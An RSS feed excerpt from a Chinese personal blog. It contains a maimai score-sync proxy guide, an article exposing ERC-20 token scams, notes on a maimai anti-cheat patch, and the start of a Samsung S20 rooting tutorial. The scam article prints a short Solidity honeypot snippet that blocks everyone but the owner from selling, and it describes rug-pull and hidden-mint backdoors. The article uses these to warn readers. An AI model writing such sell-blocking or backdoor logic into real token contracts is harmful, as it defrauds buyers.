&lt;p&gt;&lt;img src=&quot;./asset/21.jpg&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/22.jpg&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/23.jpg&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/24.jpg&quot; alt=&quot;cmfa&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;:::tip[iOS/iPadOS]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装Shadowrocket或其他支持的代理工具&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点击底栏的&lt;code&gt;配置&lt;/code&gt;，点击右上角加号粘贴链接&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直接启动即可
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;页面内显示代理配置成功后，复制sync链接，打开微信，找到&lt;em&gt;文件传输助手&lt;/em&gt;或其他可信会话，发送并点击链接，完成同步&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/25.jpg&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/26.jpg&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/27.jpg&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. 附&lt;/h3&gt;
&lt;p&gt;如果您是开发者，可以参考&lt;a href=&quot;/posts/2026/01/28/&quot;&gt;bakapiano&lt;/a&gt;的通过好友来拉取成绩的方式来进行非侵入性的sync，不过可能麻烦些，这里只是稍微给个hint，如果您有更多非侵入性的sync方式，可以在下方留言，本文会补充更新&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>什么是发币？一文看清区块链同质化代币骗局</title><link>https://xice.cx/posts/fkERC20/</link><guid isPermaLink="true">https://xice.cx/posts/fkERC20/</guid><description>本文旨在向你系统拆解下web3所谓的金融神话，揭示为什么散户在web3这个全透明赌场中，做韭菜的资格都没有</description><pubDate>Sun, 11 Jan 2026 01:35:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;最近114514的meme币很出圈啊，本文不构成投资建议，旨在祛魅发币，撕开web3金融神话&lt;/p&gt;
&lt;p&gt;如果您不了解web3，可以阅读前文&lt;a href=&quot;/posts/2025/11/24/whatIsWeb3/&quot;&gt;什么是web3？从状态机到去中心化金融，带你认识 最清晰的Web3本质&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;1. 什么是发币&lt;/h2&gt;
&lt;p&gt;在 Web3 世界，发币不是印钞票，而是写代码。最通用的标准是 &lt;strong&gt;ERC-20&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 发币是怎样的&lt;/h3&gt;
&lt;p&gt;发币其实就是写一个 Class 类，这个类实现了 &lt;code&gt;IERC20&lt;/code&gt; 接口。只要你的代码里包含以下核心逻辑，区块链就承认你发的是“币”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;totalSupply()&lt;/code&gt;: 告诉大家总共有多少币&lt;/li&gt;
&lt;li&gt;&lt;code&gt;balanceOf(address)&lt;/code&gt;: 查某人有多少币&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transfer(to, amount)&lt;/code&gt;: A 转给 B 多少币&lt;/li&gt;
&lt;li&gt;&lt;code&gt;approve()&lt;/code&gt; &amp;amp; &lt;code&gt;transferFrom()&lt;/code&gt;: 授权别人（比如交易所）动你的币&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 核心数据结构&lt;/h3&gt;
&lt;p&gt;整个合约的心脏，其实只是这行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mapping(address =&amp;gt; uint256) private _balances;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个哈希表&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key&lt;/strong&gt;：钱包地址，比如 &lt;code&gt;0x123...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;：余额数字，比如 &lt;code&gt;114514&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;发币就是定义了一个不可篡改的 Excel 表格，表头是地址，内容是余额&lt;/p&gt;
&lt;h3&gt;1.3. 编译&lt;/h3&gt;
&lt;p&gt;你写的 Solidity 代码区块链是看不懂的，它需要被翻译成机器语言&lt;/p&gt;
&lt;h4&gt;1.3.1 Bytecode&lt;/h4&gt;
&lt;p&gt;代码会被编译器（如 &lt;code&gt;solc&lt;/code&gt;）转换成一长串 &lt;code&gt;6080604052348015610010...&lt;/code&gt; 的十六进制字符。这才是真正跑在以太坊虚拟机EVM里的东西&lt;/p&gt;
&lt;h4&gt;1.3.2. ABI 应用二进制接口&lt;/h4&gt;
&lt;p&gt;这是一个 JSON 文件，相当于README。它告诉钱包和交易所：这个合约有个函数叫 &lt;code&gt;transfer&lt;/code&gt;，需要传入两个参数，一个是地址，一个是数量&lt;/p&gt;
&lt;h3&gt;1.4 部署&lt;/h3&gt;
&lt;h4&gt;1.4.1. 发起特殊交易&lt;/h4&gt;
&lt;p&gt;在主网发币，本质上是你向区块链的 &lt;code&gt;0x0&lt;/code&gt;空地址发送了一笔交易&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;**Payload：就是上面生成的 Bytecode&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Fee&lt;/strong&gt;：矿工费，我更喜欢称其为燃料。在主网上，这一步需要消耗真金白银（ETH/SOL）。因为你要占用全球节点的存储空间，你需要为此付费&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.4.2. 链上确认&lt;/h4&gt;
&lt;p&gt;矿工/验证者打包你的交易，将其写入区块&lt;br /&gt;
一旦写入，EVM 会执行你的 &lt;code&gt;Constructor&lt;/code&gt;，通常做两件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mint&lt;/strong&gt;：把 &lt;code&gt;1145140000...&lt;/code&gt; 个币，直接写入你（部署者）的地址下面&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成地址&lt;/strong&gt;：根据你的钱包地址和交易计数，计算出一个全新的合约地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此时，你的币已经诞生了。它安静地躺在区块链的某个区块里，但它的价值依然是0，因为它还不在任何人的钱包里，也不在任何交易所里&lt;/p&gt;
&lt;h3&gt;1.5 开源验证&lt;/h3&gt;
&lt;p&gt;因为链上只有 Bytecode（乱码），别人不敢买。大家怕你写了后门，所以需要来源验证&lt;/p&gt;
&lt;h4&gt;1.5.1 Etherscan&lt;/h4&gt;
&lt;p&gt;你把你的源代码上传到区块浏览器Etherscan&lt;br /&gt;
Etherscan 会把你的源码现场编译一遍，如果生成的 Bytecode 和链上的一模一样，就会打上一个绿色的勾&lt;/p&gt;
&lt;p&gt;验证通过意味着你要向全世界明牌，当然，可审查不等于安全，很多复杂的割韭菜逻辑（如隐藏的费率、黑名单机制）即便开源了，普通韭菜也看不懂&lt;/p&gt;
&lt;h2&gt;2. 炼金术&lt;/h2&gt;
&lt;p&gt;在传统的股票市场，你要卖股票，必须有人在对面挂单买&lt;br /&gt;
但在 Web3 的去中心化交易所，没有挂单员，只有一个&lt;strong&gt;数学公式&lt;/strong&gt;和一个&lt;strong&gt;池子&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 自动做市商 AMM&lt;/h3&gt;
&lt;p&gt;这是 DeFi 去中心化金融 最伟大的发明，也是最暴力的收割工具。核心公式只有一个：&lt;/p&gt;
&lt;p&gt;$$ x \times y = k $$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$x$：池子里 &lt;strong&gt;CEPATO币&lt;/strong&gt; 的数量。&lt;/li&gt;
&lt;li&gt;$y$：池子里 &lt;strong&gt;ETH&lt;/strong&gt;（真钱）的数量。&lt;/li&gt;
&lt;li&gt;$k$：恒定常数（在没人加减流动性时，保持不变）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单讲一下&lt;br /&gt;
当你用 ETH 来买CEPATO币时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;池子里的 ETH ($y$) &lt;strong&gt;变多&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;为了保持 $k$ 不变，池子里的CEPATO币 ($x$) 必须 &lt;strong&gt;变少&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;变少的那些CEPATO币去哪了？&lt;strong&gt;跑到你的钱包里了&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;因为池子里币少了、钱多了，剩下的币均价自然就&lt;strong&gt;涨了&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 庄家视角&lt;/h3&gt;
&lt;p&gt;作为发币者，你是第一个建立这个池子的人。&lt;strong&gt;这意味着，你是上帝，你可以随意定义初始价格。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;进入发币平台：连接钱包，选择“创建交易对”&lt;/li&gt;
&lt;li&gt;注入资产：
&lt;ul&gt;
&lt;li&gt;资产 A：放入 &lt;strong&gt;1,000,000 个 CEPATO Coin&lt;/strong&gt;（空气）&lt;/li&gt;
&lt;li&gt;资产 B：放入 &lt;strong&gt;1 个 ETH&lt;/strong&gt;（真金白银）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;定价诞生
&lt;ul&gt;
&lt;li&gt;此时，通过除法，初始价格被物理锁定为：&lt;strong&gt;1 ETH = 1,000,000 个 CEPATO Coin&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;或者说：&lt;strong&gt;1 个 CEPATO Coin = 0.000001 ETH&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;市值的诞生不需要审计，不需要路演，不需要财报。只需要我愿意拿出 1 个 ETH 陪这堆代码玩，它就有了市值&lt;/p&gt;
&lt;h3&gt;2.3. LP Token 金库的钥匙（也是跑路的工具）&lt;/h3&gt;
&lt;p&gt;当你把币和钱放进发币平台后，平台会给你一张收据，叫做 &lt;strong&gt;LP Token (Liquidity Provider Token)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个 LP Token 至关重要，它代表了你对这个池子的所有权&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合规玩法：
为了让韭菜放心，庄家通常会把这个 LP Token 打入黑洞地址或者锁在第三方平台。这意味着&lt;em&gt;我把金库钥匙销毁了，池子里的钱我取不出来，大家放心冲&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;收割玩法
庄家把 LP Token 留在自己钱包里&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;等韭菜们疯狂买入，把 1 个 ETH 冲到了 100 个 ETH&lt;/li&gt;
&lt;li&gt;此时池子里有：&lt;strong&gt;少量的 CEPATO 币&lt;/strong&gt; + &lt;strong&gt;100 个 ETH&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;庄家拿着 LP Token 去 平台 点击 &lt;strong&gt;移除流动性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;庄家拿走了池子里所有的 ETH，跑了。散户手里的币瞬间没法卖了（因为池子里没钱了），币价瞬间归零&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4. 滑点与价格冲击&lt;/h3&gt;
&lt;p&gt;这是 AMM 机制的副作用，也是大户收割散户的数学武器&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个池子很小，只有 1 ETH&lt;/li&gt;
&lt;li&gt;有个土豪突然拿 0.5 ETH 来买币&lt;/li&gt;
&lt;li&gt;他这一笔交易就抽干了池子一半的流动性。根据 $x \times y = k$，价格会呈指数级暴涨&lt;/li&gt;
&lt;li&gt;土豪虽然把价格拉高了，但他自己买入的成本也极高，买在了山顶&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;小池子（土狗盘）就像一个小水坑，扔点小资金就能暴涨暴跌这也就是为什么土狗币动不动就“百倍”、“归零”的数学原因&lt;/p&gt;
&lt;p&gt;但是，你以为作为庄家，手里拿着 LP 钥匙，就可以安稳地坐庄割韭菜了吗？&lt;br /&gt;
&lt;strong&gt;太天真了&lt;/strong&gt;&lt;br /&gt;
接下来，欢迎来到 &lt;strong&gt;Web3 的黑暗森林&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;3. 普通人就是韭菜&lt;/h2&gt;
&lt;p&gt;你向银行发起转账，只有你和银行知道&lt;br /&gt;
区块链是全透明的玻璃房，你发起一笔交易，在它被确认之前，全世界都看得到&lt;/p&gt;
&lt;p&gt;这就诞生了 Web3 特有的物种，MEV 机器人，俗称科学家&lt;/p&gt;
&lt;h3&gt;3.1 队列&lt;/h3&gt;
&lt;p&gt;当你在 MetaMask 点确认交易时，你的交易并不会立刻写入区块，而是先飞到一个公共候机厅，叫 Mempool&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;矿工从 Mempool 里挑交易打包进区块。挑谁？&lt;strong&gt;谁给的燃料高，谁先上车&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;机器人 24 小时监控 Mempool。一旦发现有一条大肥鱼正在排队，它们就会利用&lt;strong&gt;Gas 竞价机制&lt;/strong&gt;实施攻击&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2. 攻击演示&lt;/h3&gt;
&lt;h4&gt;3.2.1 抢跑&lt;/h4&gt;
&lt;p&gt;假设你发现 &lt;code&gt;CEPATO币&lt;/code&gt; 很有前途，决定花 &lt;strong&gt;10 ETH&lt;/strong&gt; 重仓买入&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;机器人在 Mempool 里扫描到了你的这笔大额买单。它迅速计算出：&lt;em&gt;这笔买单一旦成交，会把币价拉高 5%&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;机器人立刻发出自己的买单，买入同样的币，但是它的 &lt;strong&gt;Gas Fee 比你多给 1 美元&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;矿工一看机器人给钱多，就把机器人的交易排在你的前面。&lt;/li&gt;
&lt;li&gt;*结局：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block N&lt;/strong&gt;：机器人买入 -&amp;gt; 价格拉高 5%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block N+1&lt;/strong&gt;：你进场了 -&amp;gt; 你被迫以高出 5% 的价格接盘&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获利&lt;/strong&gt;：机器人反手卖出，无风险套利这 5% 的差价&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就好比你在食堂排队买最后一份红烧肉，你刚刷完卡，一个机器人突然冲过来多给阿姨 5 块钱把肉抢走了，然后转身加价卖给你&lt;/p&gt;
&lt;h4&gt;3.2.2 三明治攻击&lt;/h4&gt;
&lt;p&gt;这是抢跑的进阶版，也是两头吃&lt;/p&gt;
&lt;p&gt;假设你要买入大量 &lt;code&gt;CEPATO币&lt;/code&gt;，并且你设置了 10% 的滑点（意味着你允许成交价最差比当前差 10%）&lt;/p&gt;
&lt;p&gt;机器人的操作流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一口：
机器人检测到你的滑点容忍度，发起一笔巨额买单，Gas 费拉满，&lt;strong&gt;强行插队在你前面买入&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;币价瞬间暴涨，刚好卡在你设置的 10% 滑点极限&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;中间层：
轮到你的交易执行。因为价格还在你的接受范围内（虽然是最高点），你的交易成交了
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;你的大额买入，把本来已经暴涨的价格，又往上推了一截&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;第三口：
机器人发起一笔卖单，Gas 费设置得比你稍低一点，紧跟在你后面卖出
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;机器人在最低点买入，在被你推高的最高点卖出&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你的这笔交易，实际上是被包在了两笔机器人交易中间。&lt;strong&gt;你买入的每一分钱溢价，都成了机器人的利润。&lt;/strong&gt; 这就是为什么散户在链上交易经常觉得买完就跌&lt;/p&gt;
&lt;h4&gt;3.3.3 Honeypot&lt;/h4&gt;
&lt;p&gt;如果说上面的攻击是来自外部的强盗，那 &lt;strong&gt;Honeypot&lt;/strong&gt; 就是项目方（你自己）设下的陷阱&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 这是一个简化的貔貅逻辑
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
    // 如果是卖出操作（to 是 Uniswap 池子地址）
    if (to == uniswapPair) {
        // 只有庄家（owner）能卖，其他人报错
        require(from == owner, &quot;弱智，你被骗了&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;散户看着 K 线图一路狂飙（因为只能买不能卖），账户余额变成了几百万美元，兴奋地去点卖出，结果钱包弹出红色的 Transfer Failed&lt;/p&gt;
&lt;h4&gt;3.3.4 撤池子&lt;/h4&gt;
&lt;p&gt;前文讲过加池子后会得到一个 &lt;strong&gt;LP Token&lt;/strong&gt;&lt;br /&gt;
只要这个凭证还在庄家手里，庄家就是这所银行的行长&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;收割流程：
&lt;ol&gt;
&lt;li&gt;庄家发币，加了 1 ETH 的池子&lt;/li&gt;
&lt;li&gt;大家疯狂冲，池子里现在有 100 ETH&lt;/li&gt;
&lt;li&gt;庄家在深夜打开 Uniswap，点击 &lt;strong&gt;移除流动性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;结局：
&lt;ul&gt;
&lt;li&gt;庄家拿走了池子里那 100 个 ETH&lt;/li&gt;
&lt;li&gt;散户手里剩下一堆 &lt;code&gt;CEPATO Coin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;这时候散户的币还在，也没被锁，但是&lt;strong&gt;没有任何地方可以兑换了&lt;/strong&gt;。价格瞬间归零（除数变成了 0）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有些庄家会说：我把 LP Token 锁在第三方平台了，我很安全&lt;br /&gt;
事实上，他可能锁了 1 个月。一个月后自动解锁，刚好是项目热度下降、韭菜最放松警惕的时候，他再撤池子&lt;/p&gt;
&lt;h4&gt;3.3.5 权限后门&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;币价涨到了 100 块一个，总量 100 万个&lt;/li&gt;
&lt;li&gt;庄家调用合约里隐藏的 &lt;code&gt;mint()&lt;/code&gt; 函数（只有 Owner 能调用），给自己&lt;strong&gt;凭空印了 1 亿个币&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;砸盘&lt;/strong&gt;：
庄家拿着这 1 亿个 0 成本的币，去池子里一次性卖出
池子里的钱被掏空，币价瞬间变成 0.0000001&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. 结&lt;/h2&gt;
&lt;p&gt;所谓 Web3 的“代币经济学”，在剥离了那些高大上的术语后，剩下的大多是&lt;strong&gt;博傻游戏&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;发币&lt;/strong&gt;：只需要 5 分钟，Ctrl+C 一段代码，成本为 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;价值&lt;/strong&gt;：只要有人信，空气就能换 ETH&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境&lt;/strong&gt;：外部有 MEV 机器人 24 小时猎杀，内部有庄家随时准备撤池子跑路&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;如果你是技术人员&lt;/strong&gt;：去测试网玩玩，去写写 Solidity，研究一下 AMM 的数学公式，你会惊叹于去中心化账本的精妙设计。这确实是计算机科学的进步&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如果你是赌徒&lt;/strong&gt;：请记住，在主网，你面对的不是运气，而是&lt;strong&gt;不对称的代码特权&lt;/strong&gt;和&lt;strong&gt;毫秒级的算法收割&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这个黑暗森林里，只有一种人能稳赚不赔：&lt;br /&gt;
&lt;strong&gt;那就是卖铲子的人，以及那个在测试网发币图一乐的我们&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.1&lt;/h3&gt;
&lt;p&gt;下期预告，如何在测试网中发币&lt;/p&gt;
</content:encoded><category>Web3</category><category>Ethereum</category><author>Chongxi</author></item><item><title>舞萌国服1.53补丁更新内容速览</title><link>https://xice.cx/posts/153/</link><guid isPermaLink="true">https://xice.cx/posts/153/</guid><description>舞萌国服1.53更新速览</description><pubDate>Tue, 06 Jan 2026 22:35:21 GMT</pubDate><content:encoded>&lt;p&gt;时间紧任务重&lt;/p&gt;
&lt;h2&gt;0. 为什么有此次更改&lt;/h2&gt;
&lt;p&gt;首先，舞萌本身安全架构就没考虑过国服的环境，谁能想到有人能给人家机台的硬盘拆出来&lt;/p&gt;
&lt;p&gt;其次，舞萌国服外挂泛滥不是一天两天了，而这次主要导火索就是ttnk公布玩家数据库和炸号脚本，在此之前曾有多次大规模的全服扫号和黑屋。ttnk事件后，国服进行了五天的停服维护，追加了国服特供的安全补丁，而今天下发的1.53则是对原有基础上的升级&lt;/p&gt;
&lt;h2&gt;1. 第一次补丁追加&lt;/h2&gt;
&lt;h3&gt;1.1 更换二维码服务的URL&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;http://wq.sys-allnet.cn/qrcode/req/&lt;/code&gt;原地址更换为了&lt;code&gt;https://wq.wahlap.net/qrcode/req/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;由HTTP升级到了HTTPS，阻止了二维码劫持&lt;/p&gt;
&lt;p&gt;:::CAUTION&lt;br /&gt;
这次只更改了二维码服务的URL，并没有针对游戏服务器等进行变动，更改游戏服务器需要下发机台程序，不是说改就能改的，造谣所谓&lt;em&gt;游戏服务器URL更替&lt;/em&gt;的非蠢即蠢
:::&lt;/p&gt;
&lt;h3&gt;1.2 token强校验 LEVEL ALPHA&lt;/h3&gt;
&lt;p&gt;在User ID Login前强制要求使用二维码获取UID，同时必须使用 &lt;em&gt;开罗尔物质&lt;/em&gt; 进行签名，且UID Login和Logout必须使用相同签名&lt;/p&gt;
&lt;p&gt;这意味着通过user ID直接登入的方式&lt;strong&gt;直接失效&lt;/strong&gt;，恶意外挂无法直接登入您的账号，目前只影响上传&lt;/p&gt;
&lt;h2&gt;2. 1.53追加补丁&lt;/h2&gt;
&lt;h3&gt;2.1 token强校验 LEVEL BETA&lt;/h3&gt;
&lt;p&gt;本次1.53推送后，强制要求几乎所有操作都要二维码token校验，包括preview(获取玩家基本信息)，针对建立全服数据库的恶意脚本进行专项打击&lt;/p&gt;
&lt;h3&gt;2.2 修复0010&lt;/h3&gt;
&lt;p&gt;解决了恶意外挂发放滚木收藏品导致机台崩溃的问题，目前已知的所有方法均被修复&lt;/p&gt;
&lt;h3&gt;2.3 更换方法&lt;/h3&gt;
&lt;p&gt;针对目前已知的脚本中泄露的 &lt;em&gt;开罗尔网络&lt;/em&gt; 服务器通信实现方法进行修改，1.53下发后他们&lt;strong&gt;全 部 木 大&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;3. 账号修复指南&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wj.qq.com/s2/25370142/3bca/&quot;&gt;官方申诉入口&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果您的账号被恶意脚本炸了，塞了异常数据，推荐通过官方问卷解决，速度很快，爆赞&lt;/p&gt;
&lt;h2&gt;4. 结&lt;/h2&gt;
&lt;p&gt;这两次更新后，会直接干掉100.4999%的&lt;strong&gt;恶意外挂&lt;/strong&gt;，同时杀掉90%的脚本小子，以及咸鱼的科技hdd倒卖哥，对于普通玩家来说&lt;strong&gt;好事好事都是好事&lt;/strong&gt;，脚本小子好似喵&lt;/p&gt;
&lt;p&gt;更新应用时间未知，大概2weeks吧，这段时间日本人应该一直在忙着加校验，机台乐曲数据更新应用何时未知，不过也可以原谅下了，至少这次防护比国际服都严了&lt;/p&gt;
&lt;h2&gt;5. 辟谣&lt;/h2&gt;
&lt;p&gt;关于下图内容的所谓&lt;em&gt;SEGA官方采用熊谷凌的方案&lt;/em&gt;为假，这是某群聊在玩梗反串，本次更新修补的所有实现均和熊谷凌提出的方案无任何关系，望各位明辨。相信聊天记录不如信我是秦始皇，毕竟咱不会骗你&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./153/1.jpg&quot; alt=&quot;wtf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./153/2.jpg&quot; alt=&quot;wtf&quot; /&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>Samsung S20刷入类原生EvolutionX以及kernel SU全步骤教程(SDM-G9810)</title><link>https://xice.cx/posts/evolutionYourS20/</link><guid isPermaLink="true">https://xice.cx/posts/evolutionYourS20/</guid><description>本文介绍了Samsung S20(G9810)刷入类原生Evolution X(Android 14 gsi)以及kernel SU NEXT的操作过程</description><pubDate>Wed, 31 Dec 2025 22:18:00 GMT</pubDate><content:encoded>&lt;img src=&quot;https://xice.cx/asset/evolutionX.jpg&quot; alt=&quot;Samsung S20刷入类原生EvolutionX以及kernel SU全步骤教程(SDM-G9810)&quot; style=&quot;border-radius: 1rem; margin-bottom: 1rem; max-width: 100%; height: auto;&quot; /&gt;&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;三星S20怎么说呢，也是老钉子户了，主要是这部机子实在过于完美(除了充电慢)，目前没见过有哪个比他握持手感更好的机子了，而对于我这种不玩手游的人来说，12+256也基本能接受，毕竟照片视频什么的都是在nas里存，本身app也占不了多少存储。唯一的缺点也就系统跟不上，OneUI5.1虽然够养老了，但对于五年前的这台机子来说，负载还是有点吃不消(?)，于是便有了这次刷入类原生的尝试&lt;/p&gt;
&lt;p&gt;Chongxi之前是使用类原生大概一两年的情况，本身也挺喜欢类原生这种清淡的毛胚房的，如果你不太适应类原生，酌情刷入，同时由于gsi的特殊性，你可能会遇到一些神秘的bug，本文使用的版本经Chongxi目前是没什么问题的，包括指纹IMEI蓝牙NFC啊什么的都是能正常用的说&lt;/p&gt;
&lt;h3&gt;0.1 食材准备&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一台 Samsung S20&lt;/li&gt;
&lt;li&gt;(可选) Treble Info &amp;amp; DSU Sideloader&lt;/li&gt;
&lt;li&gt;Evolution X 9.7 - 2024-12-25 ROM&lt;/li&gt;
&lt;li&gt;S20 TWRP KiT (内含TWRP本体以及各种校验bypass工具)&lt;/li&gt;
&lt;li&gt;(可选) Kernel SU NEXT 内核 x1q&lt;/li&gt;
&lt;li&gt;odin &amp;amp; 三星USB驱动&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;您可以通过&lt;a href=&quot;https://atlas.chongxi.us/@s/zmX2wAjk&quot;&gt;Atlas速递&lt;/a&gt;一键获取本文所需的所有内容&lt;/p&gt;
&lt;p&gt;:::caution
在开始前，请确保您的手机已解锁bootloader并下载了所有所需软件，且您具备一定的基本刷机知识，同时了解刷机可能带来的风险，本文仅作为经验分享，不承担您自己操作带来的一切后果，请知悉
:::&lt;/p&gt;
&lt;h2&gt;1. 刷入TWRP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;确保安装了Odin和Samsung USB驱动，并将手机关机，插入电源线，同时按住**音量+&lt;strong&gt;和&lt;/strong&gt;音量-**进入Download模式&lt;/li&gt;
&lt;li&gt;打开Odin，手机在Download模式下连接电脑，取消勾选左侧的&lt;code&gt;Auto Reboot&lt;/code&gt;，&lt;code&gt;AP&lt;/code&gt;槽位选择&lt;strong&gt;TWRP&lt;/strong&gt;，&lt;code&gt;USERDATA&lt;/code&gt;选择&lt;strong&gt;vbmeta禁用器&lt;/strong&gt;，用来跳过vbm校验，否则无法刷入第三方rec&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./asset/Odin.png&quot; alt=&quot;Odin&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;刷入成功后，同时按住&lt;strong&gt;音量-&lt;strong&gt;和&lt;/strong&gt;电源键&lt;/strong&gt;七秒退出Download模式，在显示第一屏开机页面后立刻同时按住&lt;strong&gt;音量+&lt;strong&gt;和&lt;/strong&gt;电源&lt;/strong&gt;，看到TWRP的LOGO后即可松开&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 格式化data并重启至Fastboot&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;进入TWRP，点击&lt;strong&gt;清除&lt;/strong&gt;，选中&lt;code&gt;data&lt;/code&gt;，输入yes后格式化&lt;/li&gt;
